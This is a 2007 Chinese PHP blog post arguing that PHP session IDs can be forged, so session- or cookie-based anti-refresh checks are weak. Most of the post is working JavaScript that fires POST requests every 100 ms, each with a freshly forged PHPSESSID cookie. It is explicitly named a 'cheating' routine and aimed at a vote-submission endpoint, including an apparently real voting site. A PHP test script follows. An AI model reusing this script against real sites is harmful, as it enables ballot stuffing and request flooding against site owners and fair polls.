Programming Life
相信不能相信的,完成不能完成的。矛盾,就象征进步。
PHP博客
首页
新随笔
新文章
联系
聚合
管理
posts - 151,comments - 7,trackbacks - 0
<
2007年9月
>
日
一
二
三
四
五
六
26
27
28
29
30
31
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1
2
3
4
5
6
用汗水浇灌着心田.
留言簿
(3)
给我留言
查看公开留言
查看私人留言
随笔分类
(188)
Ajax(1)
Apache(19)
DA(2)
Editer(1)
HTTP(8)
JavaScript(17)
LAMP(8)
Life(19)
Linux(61)
Mysql(14)
Network(5)
PHP(25)
System(8)
随笔档案
(151)
2013年5月 (1)
2013年3月 (1)
2013年2月 (5)
2012年11月 (2)
2012年3月 (1)
2012年1月 (1)
2011年9月 (1)
2011年7月 (1)
2011年5月 (4)
2011年4月 (1)
2011年3月 (3)
2011年2月 (1)
2011年1月 (4)
2010年12月 (2)
2010年11月 (1)
2010年4月 (2)
2009年9月 (1)
2009年8月 (5)
2009年2月 (2)
2009年1月 (1)
2008年12月 (1)
2008年11月 (14)
2008年10月 (4)
2008年8月 (1)
2008年6月 (1)
2008年4月 (1)
2008年3月 (8)
2008年2月 (1)
2008年1月 (12)
2007年12月 (31)
2007年11月 (20)
2007年10月 (2)
2007年9月 (15)
收藏夹
(5)
Linux(5)
links
cPanel/WHM - TWFTP
Ext2Fsd Ext2Read
lastChild
LINUX 系统管理
LINUX之旅
PHP权限 JS - joomlar
PPWOW
ThinkPHP
ZF+LINUX
计算机网络安全
天生我才必有用
异域苍穹-PHP
硬件 - 硬维空间
搜索
最新评论
1. re: PHP下自定义模仿JS的 escape和unescape函数
楼主真是高手!
好用,收藏!
--鸟生鱼汤
2. re: Linux 提示 Ctrl+D,修复文件系统!
非常感谢!!!!!!!!!11
--dngood
3. re: char,varchar,nvarchar的区别 datetime和smalldatetime的区别
这篇帖子说的有很多错误,大家最好亲自测试后总结。
char 和相同长度的varchar的处理速度是有差别的,大数据量是差别比较大!
哎!误导了很多人!
--就怕抄的
4. re: 表单和头部缓存指令
createSuperAdmincreateSuperAdmin
--gsdsdg
5. re: linux系统locale的设定
受教了。
--科技牛
6. re: 放弃与得到
你说的很对!!
--panjv
7. re: UNIX常用命令
正在ING
--我啦
阅读排行榜
1. ftp中主动模式(port)与被动模式(PASV)(25347)
2. 修复被破坏了的linux文件系统分区表(12402)
3. GNU parted的指令說明(10130)
4. Mysql 重启命令 和 locate命令(8292)
5. MYSQL不能启动解决办法(7453)
6. linux 默认语言的修改 /etc/sysconfig/i18n 中 LANG 等环境变量(7306)
7. linux cp命令(7289)
8. PHP权限控制系统-PHPGACL(6322)
9. 软RAID和硬RAID的区别(6197)
10. centos 5.0 编译安装apache 2.2.6+php5.2.5+mysql5.0.46+Zend Optimizer 3.3.0+eacc(4656)
评论排行榜
1. PHP下自定义模仿JS的 escape和unescape函数(1)
2. 表单和头部缓存指令(1)
3. char,varchar,nvarchar的区别 datetime和smalldatetime的区别(1)
4. Linux 提示 Ctrl+D,修复文件系统!(1)
5. UNIX常用命令(1)
6. 放弃与得到(1)
7. linux系统locale的设定(1)
8. 用yum来管理安装Apache+PHP+Mysql的基本安装(0)
9. 人生致命的8个经典问题(0)
10. SSI(0)
PHP的sessionid可以伪造,不要用来做防刷新处理了
如果是基于session或者cookie做防止刷新,那么,我可以伪造状态,用xmlhttp把服务器刷爆 代码如下,服务器端的代码在最后一个textarea里。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title> xmlhttp</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <script language="javascript" type="text/javascript" src="fckXML.js"></script> <script language="javascript" type="text/javascript"> <!-- function SetCookie(sName, sValue) { date = new Date(); document.cookie = sName + "=" + escape(sValue) + "; expires=" + date.toGMTString(); } if ( window.XMLHttpRequest ) // Gecko oXmlHttp = new XMLHttpRequest() ; else if ( window.ActiveXObject ) // IE oXmlHttp = new ActiveXObject("MsXml2.XmlHttp") ; /* 看了并分析了服务器端的结果,依靠xmlhttp来伪造ip是不可能的了。 setRequestHeader 单独指定请求的某个http头 你的客户机ip不在其中,如果服务器端是基于ip防止刷新的,你就别费心了呗,除非是用c写socket自定义ip包。而且能确保头不被网关修改。 如果服务器是asp的基于session认证的,呵呵,那怎么办哪。用c写socket程序?怎么伪造我不知道了。 如果服务器是php的基于session或者cookie防止刷新,呵呵,那我就ok了。 下一步计划,搞清楚asp的session机制。反正不是依靠cookie的。我没办法了,除非寻找c语言的解决方案。 */ urlToCall = "http://toupiao.scol.com.cn/toupiao_save.asp"; urlToCall = "http://develop-3/test/jstest/xmlhttp/server.php"; urlToCall = "http://test.bai.com/jstest/xmlhttp/server.php"; host = "test.bai.com"; var bAsync = 1 ; result = ''; i = 1; n = 2; function zuobiStart() { //打开url oXmlHttp.open( "POST", urlToCall, bAsync ) ; //伪造ssessionid 欺骗服务器,服务器的本次会话session就重新置换了,所有的session就失去意义了。 phpsessid = Math.random(); id2 = Math.random(); phpsess = phpsessid.toString()+'11111'+id2.toString(); phpsess = phpsess.replace( /\./g,"0" ); phpsess = phpsess.substr( 0,32 ); cook ="PHPSESSID="+phpsess+"; "; //设置PHPSESSID,由于php的session依靠cookie来实现,所以这样就实现了本次会话session的刷新 document.cookie=cook; //以下是可以修改的头 oXmlHttp.setRequestHeader ( "ADDR000", 'test' ); oXmlHttp.setRequestHeader ( "User-Agent", "Mozilla/4.0 " ); oXmlHttp.setRequestHeader( "accept-language", "zh_cn"); oXmlHttp.setRequestHeader( "CONTENT-TYPE","application/x-www-form-urlencoded"); oXmlHttp.setRequestHeader( "accept-encoding", "gzip, deflate"); oXmlHttp.setRequestHeader( "CONNECTION", "keep-alive"); oXmlHttp.setRequestHeader( "accept", "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*"); //以下是不可以修改的头,改了服务器也不认 oXmlHttp.setRequestHeader( "Referer", 'example.test.com'); oXmlHttp.setRequestHeader ("Cookie", cook); oXmlHttp.setRequestHeader ("HOST", host ); oXmlHttp.setRequestHeader( "content-length", "11"); oXmlHttp.setRequestHeader( "CACHE_CONTROL", "kcache"); params = 'item_button=45&topic=5'; //发送测试结果 oXmlHttp.send(params) ; //测试返回结果 oXmlHttp.onreadystatechange = function() { if ( oXmlHttp.readyState == 4 ) { result += oXmlHttp.responseText; } } // i++; //跳出循环 if (i>n){ //alert("end\n"+i.toString()+"\n"+n.toString()); infoObj = document.getElementById('info'); infoObj.value = result; //info.value = result+"慰问慰问"; clearInterval(flushtimerID); } }//end func //结束 flushtimerID = window.setInterval(zuobiStart,100); //--> </script> </head> <body> <textarea name="info" id="info" rows="10" cols="90" >
31号 杨杰晰
<?php require_once('echo.php'); session_start(); //pr($_COOKIE);pr($_GET);pr($_POST); //pr($_SESSION);pr($_COOKIE); if ( $_SESSION['posted'] == 1 ) { echo"error"; DIE; } //get cookie number $num = $_COOKIE['currNum']; $expires = time()+60*60*24*365; if (!isset($_COOKIE['currNum'])) { setcookie('currNum' , 1 , $expires ); echo "cookie没有设置\n"; } else { $num++; setcookie('currNum',$num); echo $num; } ?> <style type="text/css"> *{font:12px verdana;} </style> <pre> <?php foreach ($_POST as $key=>$v) { $$key = $v; $str .=$v."\r\n"; //echo "$v \n"; } //print_R($_SERVER); foreach ($_SERVER as $k=>$v) { $str .=$k."=".$v."\n"; } echo $str; $fp = fopen("d:/tmp/".$num.".txt","wb"); //fwrite($fp,$str); fclose($fp); $_SESSION['posted'] = 1; ?>
posted on 2005-11-02 20:58
古代
阅读(429)
评论(0)
编辑
收藏
所属分类:
php
、
js,css,html
posted on 2007-09-16 21:24
Prog
阅读(1316)
评论(0)
编辑
收藏
引用
网摘
所属分类:
PHP
只有注册用户
登录
后才能发表评论。
网站导航:
IT新闻
博客园
BlogJava
博客生活
IT博客网
C++博客
程序员招聘